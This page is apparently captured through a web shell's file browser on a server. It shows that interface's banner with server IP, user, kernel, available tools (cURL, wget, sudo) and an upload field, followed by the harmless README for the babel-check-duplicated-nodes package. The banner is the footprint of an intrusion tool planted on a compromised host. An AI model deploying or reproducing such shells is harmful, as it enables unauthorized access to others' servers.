| Server IP : 10.200.247.200 / Your IP : 216.73.216.64 Web Server : Apache System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64 User : jeremy ( 1001) PHP Version : 8.4.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/doc/node-babel-check-duplicated-nodes/ |
Upload File : |
# babel-check-duplicated-nodes Duplicated AST nodes often lead to obscure bugs. This module checks your AST and throws a helpful error if you include a duplicated node in your output. It's useful when authoring babel transforms. This piece of code was originally written by @nicolo-ribaudo and is included in [babel's codebase](https://github.com/babel/babel/blob/d383659ca6adec54b6054f77cdaa16da88e8a171/packages/babel-helper-transform-fixture-test-runner/src/index.js#L128). ## API ```js checkDuplicatedNodes(babel, ast) ```